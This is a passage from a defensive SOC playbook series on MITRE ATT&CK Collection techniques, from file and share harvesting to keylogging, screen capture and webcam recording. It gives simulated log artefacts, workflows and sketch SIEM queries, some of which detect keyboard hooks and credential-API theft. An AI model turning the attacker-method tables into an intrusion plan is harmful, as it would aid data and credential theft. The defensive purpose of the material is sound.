Method	Evidence	Attacker value
File enumeration	Recursive directory reads	Coverage
Direct file copy	Copy to staging	Speed
Living-off-the-land	xcopy, robocopy	Stealth
Scripted collection	PowerShell/Bash	Automation
Credential file access	Keys, configs	Privilege

Step 3 Map behaviour to attacker intent

3A) Opportunistic Data Theft

Indicators

- Access to Documents, Desktop, Downloads

Attacker intent

- Steal valuable user data quickly

3B) Credential and Secret Harvesting

Indicators

- Access to AppData, config files, keys

Attacker intent

- Enable persistence and lateral movement

3C) Pre-Exfiltration Preparation

Indicators

- Centralised staging directories

Attacker intent

- Efficient data transfer

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Archive Collected Data
 - ZIP/7z creation
2. Exfiltration
 - Network or cloud transfer
3. Persistence
 - Scheduled tasks, services
4. Defense Evasion
 - File hiding, timestomping

Decision point

- Evidence found → escalate to Incident Response / Data Breach Investigation

Containment actions

Immediate

1. Isolate affected endpoint
2. Terminate suspicious collection processes
3. Block outbound transfers from the host

If compromise confirmed

1. Preserve collected and staged data
2. Identify and secure affected users and data owners
3. Reset exposed credentials
4. Notify management and legal/compliance if required

Eradication and recovery

- Remove malicious tooling and scripts
- Reimage endpoint if necessary
- Restore from known-good backups
- Harden endpoint access controls
- Monitor closely for renewed collection behaviour

Detection engineering (SIEM ideas)

A) High-volume file access by process

```
index=edr  
| stats count by process_name, host  
| where count > baseline
```

B) Access to sensitive directories by non-user processes

```
index=edr  
| where path LIKE "C:\\Users\\%"  
| where interactive=false
```

C) Staging directory creation

```
index=edr  
| where file_path LIKE "C:\\ProgramData%"  
| where attributes LIKE "%Hidden%"
```

Analyst checklist

- Local data collection confirmed
- Process and scope identified
- Sensitive data exposure assessed
- Endpoint contained
- Incident escalated if required

Post-incident improvements

- Treat abnormal local file access as early data theft signal
- Baseline normal user and process file-access patterns
- Restrict script and LOLBin usage
- Correlate local collection → archive → exfiltration
- Include local data theft scenarios in SOC and purple-team exercises

Playbook 202 (MITRE Collection): Data from Network Shared Drive

Technique: Data from Network Shared Drive

Purpose

Detect, investigate and respond to attackers collecting data from network shared drives and file servers, enabling attackers to:

- Steal large volumes of centrally stored business data
- Access shared finance, HR, legal, engineering or backup repositories
- Abuse legitimate SMB/NFS access to blend into normal operations
- Harvest data across many users without endpoint compromise
- Prepare staged datasets for archiving and exfiltration

Data from Network Shared Drive is centralised data collection attackers target where organisations consolidate their most valuable files.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised or abnormal access to network shares, including:

- Mass file reads or copies from shared drives
- Access to sensitive shares outside business hours
- Network share access by unusual users, hosts or service accounts
- Recursive directory enumeration across multiple shares
- Network share access followed by staging, archiving or exfiltration

Example use case scenario (end-to-end)

Context: SOC detects a compromised workstation accessing multiple departmental SMB shares overnight. Thousands of files from Finance, Legal and HR shares are copied to a hidden local directory. The data is later compressed and transferred externally.

Attacker objective: Harvest high-value shared data efficiently without touching individual endpoints.

Defender objective: Detect abnormal shared-drive access early and prevent large-scale data loss.

What it looks like (simulated SOC artefacts)

A) Network Share Enumeration

Process=explorer.exe
Action=ListDirectory
Share=\\FILESRV01*
User=CORP\UserA

B) Mass File Reads

Share=\\FILESRV01\Finance
FilesRead=9,842
Duration=6 minutes

C) Access Outside Business Hours

Time=02:37 AM
ChangeTicket=None

D) Cross-Department Access

SharesAccessed=Finance,Legal,HR,Engineering

E) Staging on Endpoint

Destination=C:\ProgramData\share_cache\
Attributes=Hidden

F) Pre-Archive Activity

NextAction=Archive
Tool=7zip

Severity decision (SOC)

Medium

- Limited access to a single shared folder

High

- Broad access to multiple shared drives

Critical

- Mass collection from sensitive or regulated shares
- Network share data staged for exfiltration

Example severity: Critical

(Multi-department shared-drive data theft)

Step-by-step SOC workflow

Step 1 Validate network shared-drive collection

Confirm:

1. Which shares were accessed?
2. Is the volume and scope consistent with user role?
3. Did access occur outside normal business patterns?
4. Are sensitive or regulated datasets involved?

Decision point

- Legitimate business access → document
- Unauthorised or excessive access → escalate immediately

Step 2 Identify access method and scope

Method	Evidence	Attacker value
SMB/NFS browsing	Directory enumeration	Discovery
Bulk file reads	High read counts	Scale
Copy to endpoint	Local staging	Exfil prep
Scripted access	PowerShell/robocopy	Automation
Service account abuse	Broad permissions	Stealth

Step 3 Map behaviour to attacker intent

3A) Centralised Data Theft

Indicators

- Access to departmental or project shares

Attacker intent

- Maximise data value quickly

3B) Stealth via Legitimate Protocols

Indicators

- SMB/NFS usage without malware

Attacker intent

- Blend into normal network traffic

3C) Pre-Exfiltration Staging

Indicators

- Data copied from shares to staging directories

Attacker intent

- Efficient data transfer

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Archive Collected Data
 - ZIP/7z creation
2. Exfiltration
 - Network or cloud transfer
3. Persistence
 - Reused credentials or service accounts
4. Defense Evasion
 - Timestamp manipulation, hidden files

Decision point

- Evidence found → escalate to Incident Response / Data Breach Investigation

Containment actions

Immediate

1. Isolate affected endpoints
2. Disable or restrict compromised accounts
3. Block further access to sensitive shares

If compromise confirmed

1. Preserve access logs and copied data

2. Rotate credentials for affected users or service accounts
3. Review permissions on impacted shares
4. Notify data owners and management

Eradication and recovery

- Remove malicious scripts or tooling
- Reimage endpoints if required
- Restore data from known-good backups if modified
- Tighten share permissions and access controls
- Monitor closely for renewed shared-drive access

Detection engineering (SIEM ideas)

A) Mass file access on network shares

```
index=network_file  
| stats count by user, share  
| where count > baseline
```

B) Access to sensitive shares outside business hours

```
index=network_file  
| where share IN ("Finance","Legal","HR")  
| where hour<6 OR hour>20
```

C) Cross-share harvesting

```
index=network_file  
| stats dc(share) by user  
| where dc(share) > 2
```

Analyst checklist

- Network share access confirmed
- User and host context validated
- Data sensitivity assessed
- Accounts and access contained
- Incident escalated if required

Post-incident improvements

- Treat network shared drives as high-value collection targets
- Enforce least-privilege access on shares

- Monitor bulk access and cross-share behaviour
- Correlate share access → local staging → exfiltration
- Include shared-drive data-theft scenarios in SOC and purple-team exercises

Playbook 203 (MITRE Collection): Data from Removable Media

Technique: Data from Removable Media

Purpose

Detect, investigate and respond to attackers collecting data from removable media, enabling attackers to:

- Steal data stored on USB drives, external HDDs, SSDs or memory cards
- Harvest sensitive files transferred offline to bypass network controls
- Exploit trusted removable media used by executives, engineers or OT staff
- Collect data from air-gapped or restricted environments
- Prepare data for staging, archiving and exfiltration

Data from Removable Media is offline-assisted collection attackers target what users physically carry to bypass digital controls.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised or abnormal access to removable media, including:

- USB or removable storage mounted unexpectedly
- Mass file reads from removable devices
- Removable media accessed by background or SYSTEM processes
- Data copied from removable media to hidden local directories
- Removable media usage followed by archiving or outbound transfer

Example use case scenario (end-to-end)

Context: SOC detects a USB storage device connected to a workstation belonging to an engineer. Minutes later, thousands of files are copied from the removable drive to a hidden folder. The data is compressed and later exfiltrated.

Attacker objective:

Harvest **offline-stored sensitive data** that bypasses network monitoring.

Defender objective:

Detect abnormal removable-media data collection early and prevent data loss.

What it looks like (simulated SOC artefacts)

A) Removable Media Mounted

DeviceType=USB Storage
VolumeLabel=ENG_BACKUP
DriveLetter=E:

B) Mass File Access

Source=E:\
FilesRead=3,456
Duration=3 minutes

C) Non-User Process Access

Process=collector.exe
UserContext=SYSTEM

D) Data Copied to Local Staging

Destination=C:\ProgramData\usb_cache\
Attributes=Hidden

E) Sensitive File Types

Extensions=.docx,.xlsx,.pdf,.dwg,.zip

F) Follow-On Activity

NextAction=Archive
Tool=7zip

Severity decision (SOC)

Medium

- Legitimate removable media usage by user

High

- Removable media accessed by suspicious process

Critical

- Mass data collection from removable media
- Sensitive or regulated data involved
- Collection followed by staging or exfiltration

Example severity: Critical

(Offline data stolen from USB and prepared for exfiltration)

Step-by-step SOC workflow**Step 1 Validate removable-media data collection**

Confirm:

1. Which removable device was connected?
2. Who inserted or mounted the device?
3. What data volume and file types were accessed?
4. Was access interactive or automated?

Decision point

- Legitimate user activity → document
- Unauthorised or automated collection → escalate immediately

Step 2 Identify collection method and scope

Method	Evidence	Attacker value
USB mount	Device connection logs	Entry point
Bulk file reads	High read counts	Scale
Automated copy	Scripted access	Speed
Hidden staging	ProgramData/AppData	Stealth
Offline bypass	No network traffic	Evasion

Step 3 Map behaviour to attacker intent**3A) Bypass Network Monitoring****Indicators**

- Data sourced exclusively from removable media

Attacker intent

- Evade DLP and network controls

3B) Target High-Value Roles**Indicators**

- Removable media used by engineers or execs

Attacker intent

- Steal sensitive intellectual property

3C) Pre-Exfiltration Preparation

Indicators

- Local staging and archiving

Attacker intent

- Efficient outbound transfer

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Archive Collected Data
 - ZIP/7z creation
2. Exfiltration
 - Network or cloud transfer
3. Persistence
 - Malware tied to removable media usage
4. Defense Evasion
 - Hidden directories, timestomping

Decision point

- Evidence found → escalate to Incident Response / Data Breach Investigation

Containment actions

Immediate

1. Safely remove and quarantine the removable device
2. Isolate affected endpoint
3. Terminate suspicious processes

If compromise confirmed

1. Preserve removable media and copied data as evidence

2. Identify data owners and affected business units
3. Reset exposed credentials if present on media
4. Notify management and legal/compliance teams

Eradication and recovery

- Remove malicious tooling
- Reimage endpoint if required
- Scan removable media for malware
- Enforce removable-media control policies
- Monitor closely for renewed device usage

Detection engineering (SIEM ideas)

A) Removable media mount events

```
index=edr  
| where device_type="USB"
```

B) High-volume file access from removable drives

```
index=edr  
| where drive_letter IN ("E:", "F:", "G:")  
| stats count by process_name  
| where count > baseline
```

C) Removable media followed by staging

```
index=edr  
| transaction host  
| where removable_media=true AND staging_detected=true
```

Analyst checklist

- Removable media usage confirmed
- Process and user context identified
- Data sensitivity assessed
- Endpoint and device contained
- Incident escalated if required

Post-incident improvements

- Treat removable media as high-risk data sources
- Enforce USB control and logging policies

- Monitor mass reads from removable drives
- Correlate USB mount → local staging → exfiltration
- Include removable-media data theft in SOC and purple-team exercises

Playbook 204 (MITRE Collection): Data Staged

Technique: Data Staged

Sub-techniques:

- Local Data Staging
- Remote Data Staging

Purpose

Detect, investigate and respond to attackers staging collected data prior to exfiltration, enabling attackers to:

- Aggregate data from multiple sources into a single location
- Compress, encrypt or obfuscate data to reduce transfer time
- Prepare reliable, resumable exfiltration
- Separate noisy collection from quiet exfiltration phases
- Reduce detection risk during outbound transfer

Data Staging is the bridge between collection and exfiltration attackers pause organise and package data before it leaves the environment.

When to trigger this playbook

Trigger this playbook when indicators suggest data aggregation or preparation, including:

- Creation of unusual staging directories
- Large archives created shortly after collection activity
- Data moved to uncommon local paths or remote hosts
- Compression, encryption or chunking operations
- Staged data awaiting outbound transfer

Example use case scenario (end-to-end)

Context: SOC observes large numbers of files collected from local systems and network shares. The files are copied into C:\ProgramData\cache\, compressed nightly and split into chunks. Later, the archives are uploaded to a cloud storage service.

Attacker objective: Prepare clean, efficient datasets for exfiltration while minimising detection.

Defender objective: Detect staging early to prevent successful data theft.

What it looks like (simulated SOC artefacts)

A) Local Data Staging Directory

Path=C:\ProgramData\cache\
Files=docs.zip, finance.7z, src.tar
Attributes=Hidden

B) Remote Staging Location

Destination=\\STAGE-SRV\temp\$
Protocol=SMB

C) Compression and Packaging

Tool=7zip
Action=Add
Size=18.4 GB

D) Encryption or Obfuscation

Method=AES
Password=Set

E) Chunked Archives

File=data.part01.rar
File=data.part02.rar

F) Idle Period Before Transfer

StagingComplete=True
ExfiltrationPending=True

Severity decision (SOC)

High

- Suspicious data aggregation without confirmed exfiltration

Critical

- Confirmed staging of sensitive data
- Staging followed by compression/encryption
- Staging tied to prior collection activity

Example severity: Critical

(Data fully prepared for imminent exfiltration)

Step-by-step SOC workflow

Step 1 Validate data staging activity

Confirm:

1. Where is data staged (local vs remote)?
2. Is staging temporary or persistent?
3. What data types and volume are staged?
4. Is staging preceded by collection events?

Decision point

- Legitimate backup or admin activity → document
- Unauthorised staging → escalate immediately

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
Local data staging	ProgramData/AppData/temp	Stealth
Remote data staging	SMB/NFS/cloud VM	Separation
Compression	ZIP/7z/tar	Efficiency
Encryption	Password-protected archives	DLP evasion
Chunking	Multipart archives	Reliability

Step 3 Map behaviour to attacker intent

3A) Exfiltration Preparation

Indicators

- Aggregated, compressed datasets

Attacker intent

- Ensure reliable outbound transfer

3B) Detection Evasion

Indicators

- Encrypted or obfuscated archives

Attacker intent

- Bypass content inspection

3C) Operational Discipline

Indicators

- Separation of collection, staging, exfiltration

Attacker intent

- Reduce risk and noise

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Exfiltration
 - Web services, cloud storage, C2
2. Credential Abuse
 - Tokens or service accounts for upload
3. Persistence
 - Scheduled staging jobs
4. Defense Evasion
 - Log deletion, timestomping

Decision point

- Evidence found → escalate to Incident Response / Data Breach Investigation

Containment actions

Immediate

1. Isolate affected endpoints or staging hosts
2. Block outbound transfers from staging systems
3. Terminate staging and compression processes

If compromise confirmed

1. Preserve staged data and artefacts

2. Identify data owners and impacted repositories
3. Rotate exposed credentials or tokens
4. Notify management and legal/compliance teams

Eradication and recovery

- Remove malicious staging scripts or tooling
- Reimage systems if required
- Clean up unauthorised staging locations
- Tighten file system and share permissions
- Monitor closely for renewed staging behaviour

Detection engineering (SIEM ideas)

A) Suspicious staging directories

```
index=edr  
| where file_path LIKE "%ProgramData%" OR file_path LIKE "%AppData%"  
| where file_extension IN ("zip","7z","rar","tar")
```

B) Large archive creation

```
index=edr  
| stats sum(file_size) by host, process_name  
| where sum(file_size) > baseline
```

C) Collection followed by staging

```
index=edr  
| transaction host  
| where collection_detected=true AND staging_detected=true
```

Analyst checklist

- Data staging confirmed
- Local vs remote staging identified
- Data sensitivity assessed
- Outbound paths blocked
- Incident escalated if required

Post-incident improvements

- Treat data staging as late-stage breach indicator
- Monitor archive creation aggressively

- Correlate collection → staging → exfiltration
- Restrict compression and archiving tools
- Include staging-based detection scenarios in SOC and purple-team exercises

Playbook 205 (MITRE Collection): Email Collection

Technique: Email Collection

Sub-techniques:

- Local Email Collection
- Remote Email Collection
- Email Forwarding Rule

Purpose

Detect, investigate and respond to attackers collecting email data, enabling attackers to:

- Steal sensitive conversations, attachments and credentials
- Harvest business intelligence, legal discussions and IR communications
- Identify follow-on targets, suppliers and trust relationships
- Maintain persistent, low-noise access to communications
- Support fraud, espionage, extortion or social-engineering campaigns

Email Collection is high-context intelligence theft attackers gain who talks to whom, about what and when.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised email access or manipulation, including:

- Bulk mailbox reads or exports
- Email access without corresponding login or MFA events
- Suspicious IMAP/POP/Graph API activity
- New or modified email forwarding rules
- Mailbox access shortly after credential or session compromise

Example use case scenario (end-to-end)

Context: SOC detects an executive mailbox being accessed via Microsoft Graph API from an unusual IP. Shortly after, an email forwarding rule silently forwards all incoming messages to an external address. The attacker monitors communications for weeks without triggering alerts.

Attacker objective: Continuously collect high-value internal communications with minimal detection.

Defender objective: Detect email access abuse early and cut off silent mailbox surveillance.

What it looks like (simulated SOC artefacts)

A) Local Email Collection

Process=outlook.exe
Action=ExportPST
Mailbox=UserA

B) Remote Email Collection

Service=Microsoft Graph
Operation=ListMessages
User=CORP\UserA
AuthMethod=Token

C) Bulk Message Access

MessagesRead=18,420
Duration=9 minutes

D) Email Forwarding Rule Creation

RuleName=InboxSync
ForwardTo=external@mailbox.com
Enabled=True

E) No User Interaction

UserActivity=None
InteractiveLogin=False

F) Long-Lived Surveillance

ForwardingActive=21 days

Severity decision (SOC)

High

- Single mailbox access anomaly

Critical

- Bulk email collection
- Executive or privileged mailbox access
- Silent email forwarding to external addresses

Example severity: Critical

(Executive communications exfiltrated via forwarding rule)

Step-by-step SOC workflow

Step 1 Validate email collection activity

Confirm:

1. Which mailbox(es) were accessed?
2. Was access local (client-side) or remote (API/IMAP)?
3. Is the volume consistent with business use?
4. Are forwarding rules or exports present?

Decision point

- Legitimate admin or user action → document
- Unauthorised access or forwarding → escalate immediately

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
Local email collection	PST export	Offline access
Remote email collection	API/IMAP access	Stealth
Forwarding rule	Auto-forward to external	Persistence
Shared mailbox abuse	Broad visibility	Scale
Search queries	Targeted intel	Precision

Step 3 Map behaviour to attacker intent

3A) Intelligence and Espionage

Indicators

- Access to exec, legal, IR mailboxes

Attacker intent

- Monitor sensitive decisions and incidents

3B) Persistent Surveillance

Indicators

- Email forwarding rules

Attacker intent

- Long-term, low-noise access

3C) Fraud Preparation

Indicators

- Monitoring finance and vendor emails

Attacker intent

- Enable BEC or invoice fraud

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Data Staged
 - Email archives or exports
2. Exfiltration
 - External mailbox or cloud storage
3. Credential Abuse
 - Token or session reuse
4. Impact
 - BEC, extortion or leaks

Decision point

- Evidence found → escalate to Major Incident / Data Breach

Containment actions

Immediate

1. Disable or remove suspicious forwarding rules
2. Revoke active sessions, tokens and API grants

3. Reset affected user credentials

If compromise confirmed

1. Force sign-out across all devices
2. Preserve mailbox audit logs and rule history
3. Notify affected users and leadership
4. Engage legal/compliance teams

Eradication and recovery

- Remove unauthorised rules and delegates
- Rotate secrets and refresh tokens
- Review mailbox permissions and shared access
- Enforce MFA and conditional access
- Monitor closely for renewed email abuse

Detection engineering (SIEM ideas)

A) Email forwarding rule creation

```
index=cloud_audit  
| where action="CreateInboxRule"  
| where forward_to_external=true
```

B) Bulk email access via API

```
index=cloud_audit  
| where operation IN ("ListMessages","ExportMailbox")  
| stats count by user  
| where count > baseline
```

C) Email access without interactive login

```
index=cloud_auth  
| where service="Mail" AND interactive=false
```

Analyst checklist

- Email access method confirmed
- Mailboxes and scope identified
- Forwarding rules reviewed and removed
- Sessions and tokens revoked
- Incident escalated if required

Post-incident improvements

- Treat email collection as Tier-0 intelligence theft
- Alert on forwarding rules to external domains
- Monitor API-based mailbox access
- Correlate credential/session abuse → email access → data staging
- Include mailbox surveillance scenarios in SOC and purple-team exercises

Playbook 206 (MITRE Collection): Input Capture

Technique: Input Capture

Sub-techniques:

- Keylogging
- GUI Input Capture
- Web Portal Capture
- Credential API Hooking

Purpose

Detect, investigate and respond to attackers capturing user input at the point of entry, enabling attackers to:

- Steal credentials, MFA codes, secrets and sensitive text
- Capture actions before encryption or transmission
- Bypass browser, network and TLS protections
- Harvest privileged access with minimal artefacts
- Support long-term surveillance and account compromise

Input Capture is pre-transmission data theft attackers steal what users type, click or submit before defenses apply.

When to trigger this playbook

Trigger this playbook when indicators suggest **unauthorised interception of user input**, including:

- Keyboard hooks or low-level input API usage
- Processes capturing window focus, mouse or keystrokes
- Web form submissions intercepted locally
- Credential APIs accessed by unexpected processes
- Input capture combined with credential misuse or session hijacking

Example use case scenario (end-to-end)

Context: SOC detects a background process installing a keyboard hook on a finance user's workstation. Soon after, valid credentials are used to access financial systems without brute-force activity. Memory analysis reveals captured keystrokes and form data.

Attacker objective: Steal credentials and sensitive input directly at entry point.

Defender objective: Detect and stop input interception before accounts are abused.

What it looks like (simulated SOC artefacts)

A) Keylogging

Process=svcinput.exe
API=SetWindowsHookEx
HookType=WH_KEYBOARD_LL

B) GUI Input Capture

Process=monitor.exe
API=GetForegroundWindow
API=GetWindowText

C) Web Portal Capture

Target=https://portal.corp.local/login
Method=FormInterception

D) Credential API Hooking

Process=credhook.dll
API=CredRead / LogonUser

E) Continuous Capture

CaptureInterval=AlwaysOn
DataVolume=High

F) Follow-On Abuse

Auth=Success
Method=ValidCredentials

Severity decision (SOC)

High

- Suspected input capture without confirmed misuse

Critical

- Confirmed keylogging or credential interception
- Input capture linked to account compromise

- Privileged or executive users affected

Example severity: Critical

(Credentials stolen via keylogging and reused successfully)

Step-by-step SOC workflow

Step 1 Validate input capture activity

Confirm:

1. Which input method is captured (keyboard, GUI, web, API)?
2. Is capture continuous or targeted?
3. Which users and applications are affected?
4. Is there evidence of downstream credential use?

Decision point

- Legitimate accessibility or monitoring tool → document
- Unauthorised capture → escalate immediately

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
Keylogging	Keyboard hooks	Plaintext creds
GUI capture	Window/message APIs	Context & actions
Web portal capture	Form interception	App credentials
Credential API hooking	Auth API access	System creds
Hybrid capture	Multiple methods	Reliability

Step 3 Map behaviour to attacker intent

3A) Credential Theft

Indicators

- Captured login input and passwords

Attacker intent

- Bypass authentication controls

3B) MFA and Secret Harvesting

Indicators

- Capture of OTPs, PINs, tokens

Attacker intent

- Defeat strong auth

3C) Persistent Surveillance

Indicators

- Always-on capture without user awareness

Attacker intent

- Long-term intelligence gathering

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Use Valid Accounts
 - Login reuse across services
2. Browser Session Hijacking
 - Session abuse after capture
3. Data Staged
 - Logs or captured input files
4. Exfiltration
 - C2 or cloud upload

Decision point

- Evidence found → escalate to Major Incident / Credential Compromise

Containment actions

Immediate

1. Isolate affected endpoint(s)
2. Terminate input-capture processes and hooks
3. Disable impacted user accounts temporarily

If compromise confirmed

1. Reset all credentials entered during exposure window
2. Invalidate sessions, tokens and cookies
3. Preserve memory, binaries and logs
4. Notify affected users and management

Eradication and recovery

- Remove malicious drivers, hooks and DLLs
- Reimage systems if required
- Patch exploited vulnerabilities
- Harden endpoint protections (EDR, ASR rules)
- Monitor closely for renewed input interception

Detection engineering (SIEM ideas)

A) Keyboard hook installation

```
index=edr  
| where api_call="SetWindowsHookEx"  
| where hook_type="WH_KEYBOARD_LL"
```

B) Credential API access by non-auth processes

```
index=edr  
| where api_call IN ("CredRead","LogonUser")  
| where process_name NOT IN baseline
```

C) Input capture followed by login success

```
index=edr OR index=auth  
| transaction user  
| where input_capture=true AND auth_success=true
```

Analyst checklist

- Input capture confirmed
- Sub-technique identified
- Affected users and apps scoped
- Credentials reset and sessions revoked
- Incident escalated if required

Post-incident improvements

- Treat input capture as high-confidence credential theft

- Alert on keyboard hooks and credential API misuse
- Restrict driver and hook installation
- Correlate input capture → credential use → data access
- Include input-capture scenarios in SOC and purple-team exercises

Playbook 207 (MITRE Collection): Screen Capture

Technique: Screen Capture

Purpose

Detect, investigate and respond to attackers capturing screenshots or video of a user's screen, enabling attackers to:

- Steal credentials, MFA prompts, tokens and sensitive data displayed on screen
- Capture privileged dashboards, cloud consoles and internal tools
- Monitor user actions and workflows without input hooks
- Bypass encryption by collecting post-decryption visual data
- Support espionage, fraud and long-term surveillance

Screen Capture is visual intelligence collection attackers steal what users can see, not what they type.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised screen or window capture, including:

- Screenshot or screen-recording APIs used by unexpected processes
- High-frequency image creation without user interaction
- Screen capture tied to sensitive app usage (finance, cloud admin, email)
- Background processes accessing display buffers
- Screen capture followed by staging or exfiltration

Example use case scenario (end-to-end)

Context: SOC detects a background process invoking screenshot APIs every 10 seconds on an executive laptop. Images are stored in a hidden directory and later archived. Captured screens include cloud admin consoles and MFA approval prompts.

Attacker objective: Collect visual access to sensitive systems and workflows with minimal noise.

Defender objective: Detect covert screen surveillance early and prevent downstream abuse.

What it looks like (simulated SOC artefacts)

A) Screenshot API Usage

Process=screenmon.exe
API=BitBlt / Desktop Duplication API
Interval=10s

B) Continuous Screen Capture

CaptureType=FullScreen
Frequency=High

C) Image File Creation

Path=C:\ProgramData\scr_cache\
File=img_2026_03_02_101530.png
Attributes=Hidden

D) Capture of Sensitive Apps

ForegroundApp=AzurePortal.exe
ForegroundApp=Outlook.exe

E) No User Awareness

UIIndicator=None
UserConsent=False

F) Follow-On Packaging

NextAction=Archive
Tool=7zip

Severity decision (SOC)

High

- Isolated screenshot activity by unknown process

Critical

- Continuous or scheduled screen capture
- Capture of privileged or executive screens
- Screen capture tied to data staging or exfiltration

Example severity: Critical

(Covert screen surveillance capturing admin consoles and MFA prompts)

Step-by-step SOC workflow

Step 1 Validate screen capture activity

Confirm:

1. Which process is capturing the screen or window?
2. Is capture continuous, scheduled or event-triggered?
3. Are sensitive applications or data visible during capture?
4. Is there user awareness or consent?

Decision point

- Legitimate assistive/recording software → document
- Unauthorised capture → escalate immediately

Step 2 Identify capture method and scope

Method	Evidence	Attacker value
Screenshot APIs	BitBlt, DXGI	Stealth
Window capture	Targeted app frames	Precision
Video recording	Desktop streams	Context
Headless capture	Background service	Persistence
Hybrid	Screens + metadata	Intelligence

Step 3 Map behaviour to attacker intent

3A) Credential & MFA Harvesting

Indicators

- Capture during login or approval prompts

Attacker intent

- Bypass strong authentication

3B) Privileged Access Intelligence

Indicators

- Capture of admin portals or dashboards

Attacker intent

- Enable lateral movement and control

3C) Long-Term Surveillance

Indicators

- Continuous low-noise capture

Attacker intent

- Monitor operations and decisions

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Data Staged
 - Image archives, videos
2. Exfiltration
 - Cloud uploads, C2 transfer
3. Credential Abuse
 - Session reuse after capture
4. Persistence
 - Scheduled capture jobs

Decision point

- Evidence found → escalate to Major Incident / Espionage Investigation

Containment actions

Immediate

1. Isolate affected endpoint(s)
2. Terminate screen-capture processes/services
3. Disable affected accounts if sensitive screens exposed

If compromise confirmed

1. Preserve captured images/videos and process memory
2. Reset credentials and revoke sessions seen on screen
3. Notify affected users and leadership
4. Engage legal/compliance if sensitive data exposed

Eradication and recovery

- Remove capture tooling, drivers and persistence
- Reimage systems if required
- Patch exploited vulnerabilities
- Enforce application allow-listing and EDR protections
- Monitor closely for renewed screen access

Detection engineering (SIEM ideas)

A) Screenshot API usage by non-approved apps

```
index=edr  
| where api_call IN ("BitBlt","DesktopDuplication")  
| where process_name NOT IN ("snippingtool.exe","teams.exe")
```

B) High-frequency image creation

```
index=edr  
| where file_extension IN ("png","jpg","bmp")  
| stats count by process_name  
| where count > baseline
```

C) Screen capture correlated with sensitive app focus

```
index=edr  
| transaction host  
| where screen_capture=true AND foreground_app IN ("AzurePortal.exe","Outlook.exe")
```

Analyst checklist

- Screen capture confirmed
- Process and method identified
- Sensitive exposure assessed
- Credentials/sessions rotated
- Incident escalated if required

Post-incident improvements

- Treat screen capture as high-risk intelligence collection
- Alert on background screen APIs and image bursts
- Restrict screen recording permissions
- Correlate screen capture → staging → exfiltration
- Include visual-surveillance scenarios in SOC and purple-team exercises

Playbook 208 (MITRE Collection): Video Capture

Technique: Video Capture

Purpose

Detect, investigate and respond to attackers recording video from webcams, virtual cameras or screen streams, enabling attackers to:

- Spy on users and environments through webcams
- Capture meetings, screen shares and presentations
- Record MFA approvals, on-screen workflows and privileged actions
- Conduct long-term surveillance and intelligence gathering
- Support espionage, extortion or targeted social engineering

Video Capture is continuous visual intelligence collection attackers move from still images to time-based monitoring of people and operations.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised video device or stream access, including:

- Webcam or camera device accessed by unexpected processes
- Continuous or scheduled video recording without user interaction
- Virtual camera usage outside conferencing applications
- Video files created in hidden or unusual locations
- Video capture correlated with sensitive meetings or admin activity

Example use case scenario (end-to-end)

Context: SOC detects a background service accessing the webcam on an executive laptop outside meeting hours. Video files are written to a hidden directory and later compressed. Captured footage includes confidential meetings and screen-sharing sessions.

Attacker objective: Collect live visual intelligence on people, processes and decision-making.

Defender objective: Detect covert video surveillance early and prevent privacy and security breaches.

What it looks like (simulated SOC artefacts)

A) Camera Device Access

Process=vidcap.exe
Device=Integrated Webcam
API=Media Foundation / DirectShow

B) Continuous Video Recording

RecordingMode=AlwaysOn
Duration=6 hours

C) Video File Creation

Path=C:\ProgramData\vid_cache\
File=rec_2026_03_02_090000.mp4
Attributes=Hidden

D) Capture During Sensitive Activity

ForegroundApp=Teams.exe
ScreenShare=True

E) No User Indicator

CameraLED=Off
UIIndicator=None

F) Follow-On Packaging

NextAction=Archive
Tool=7zip

Severity decision (SOC)

High

- Single or short video capture by unknown process

Critical

- Continuous webcam or screen video recording
- Capture involving executives, admins or sensitive meetings
- Video capture followed by staging or exfiltration

Example severity: Critical

(Covert webcam recording of executive meetings)

Step-by-step SOC workflow

Step 1 Validate video capture activity

Confirm:

1. **Which video source** is captured (webcam, virtual camera, screen stream)?
2. Is capture **continuous, scheduled or event-driven**?
3. Are **sensitive people, screens or meetings** involved?
4. Is there **user awareness or consent**?

Decision point

- Legitimate conferencing or recording → document
- Unauthorised capture → escalate immediately

Step 2 Identify capture method and scope

Method	Evidence	Attacker value
Webcam capture	Camera API usage	Human intelligence
Virtual camera	Driver access	Stealth
Screen video	Desktop streams	Workflow intel
Headless service	No UI	Persistence
Hybrid capture	Audio + video	Full context

Step 3 Map behaviour to attacker intent

3A) Espionage and Surveillance

Indicators

- Long-duration video recordings

Attacker intent

- Monitor people and decisions

3B) Credential & Workflow Capture

Indicators

- Recording during logins or admin actions

Attacker intent

- Enable follow-on compromise

3C) Extortion or Coercion

Indicators

- Webcam footage of individuals

Attacker intent

- Leverage private recordings

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Data Staged
 - Video archives or compressed files
2. Exfiltration
 - Cloud uploads or C2 transfer
3. Persistence
 - Scheduled recording services
4. Defense Evasion
 - Disabling camera indicators

Decision point

- Evidence found → escalate to Major Incident / Espionage or Privacy Breach

Containment actions

Immediate

1. Isolate affected endpoint(s)
2. Disable camera and virtual camera devices
3. Terminate video capture processes

If compromise confirmed

1. Preserve video files and process memory
2. Reset credentials and revoke sessions observed on video
3. Notify affected users and leadership
4. Engage legal, HR and compliance teams

Eradication and recovery

- Remove malicious capture tooling and drivers
- Reimage systems if required
- Patch exploited vulnerabilities
- Enforce camera access controls and policies
- Monitor closely for renewed video access

Detection engineering (SIEM ideas)

A) Camera device access by non-approved apps

```
index=edr  
| where device_type="Camera"  
| where process_name NOT IN ("teams.exe","zoom.exe","webex.exe")
```

B) Continuous video file creation

```
index=edr  
| where file_extension IN ("mp4","avi","mkv")  
| stats count by process_name  
| where count > baseline
```

C) Video capture correlated with meetings
